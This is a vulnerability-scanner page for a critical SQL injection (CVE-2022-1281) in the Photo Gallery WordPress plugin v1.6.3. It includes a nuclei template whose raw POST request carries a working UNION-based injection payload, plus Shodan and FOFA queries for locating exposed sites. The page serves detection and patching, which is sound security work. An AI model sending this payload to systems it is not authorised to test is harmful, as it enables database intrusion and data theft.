Photo Gallery WordPress v1.6.3 - SQL Injection

criticalseverity

9.8CVSS score

43.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Photo Gallery WordPress plugin v1.6.3 contains a SQL injection caused by improper escaping of $_POST['filter_tag'] parameter in SQL queries, letting attackers execute arbitrary SQL commands, exploit requires sending crafted POST requests.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?image_id=123
Positive when: status 200 AND contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2022-1281 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1281

info:
  name: Photo Gallery WordPress v1.6.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Photo Gallery WordPress plugin v1.6.3 contains a SQL injection caused by improper escaping of $_POST['filter_tag'] parameter in SQL queries, letting attackers execute arbitrary SQL commands, exploit requires sending crafted POST requests.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/2b4866f2-f511-41c6-8135-cf1e0263d8de
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfar=&new=2691560&old=2682756&sfp_email=&sfar=
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1281
    epss-score: 0.43354
    epss-percentile: 0.98738
    cwe-id: CWE-89
  metadata:
    verified: false
    max-request: 2
    shodan-query: 'http.html:"photo-gallery"'
    fofa-query: 'body="/wp-content/plugins/photo-gallery/"'
  tags: cve,cve2022,sqli,wordpress,wp-plugin,photo-gallery,vkev

variables:
  num: 999999999

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=GalleryBox&filter_tag=1)"+union+select+*+from+(select+123)a1+join+(select+2)a2+join+(select+3)a3+join+(select+2)a4+join+(select+2)a5++join+(select+2)a6+join+(select+md5({{num}}))a7+join+(select+2)a8+join+(select+2)a9+join+(select+2)a10+join+(select+2)a11+join+(select+2)a12+join+(select+2)a13+join+(select+2)a14+join+(select+2)a15+join+(select+2)a16+join+(select+2)a17+join+(select+2)a18+join+(select+version())a19+join+(select+2)a20+join+(select+2)a21+join+(select+2)a22+join+(select+2)a23--+-

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from